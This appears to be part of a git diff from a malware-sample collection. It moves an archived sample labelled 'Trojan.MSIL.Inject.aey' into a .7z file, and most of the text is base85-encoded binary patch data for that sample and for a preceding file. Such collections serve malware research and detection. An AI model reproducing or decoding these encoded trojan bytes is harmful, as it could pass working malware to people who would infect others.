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 literal 0 HcmV?d00001 diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/ed404015d077ea06 b/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.aey-5.7z similarity index 59% rename from MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/ed404015d077ea06 rename to Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.aey-5.7z index 7023412a637eea5419c811f25d332635916d7580..f74e82536518fb845145a7a20927608e68175e0e 100644 GIT binary patch delta 24966 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 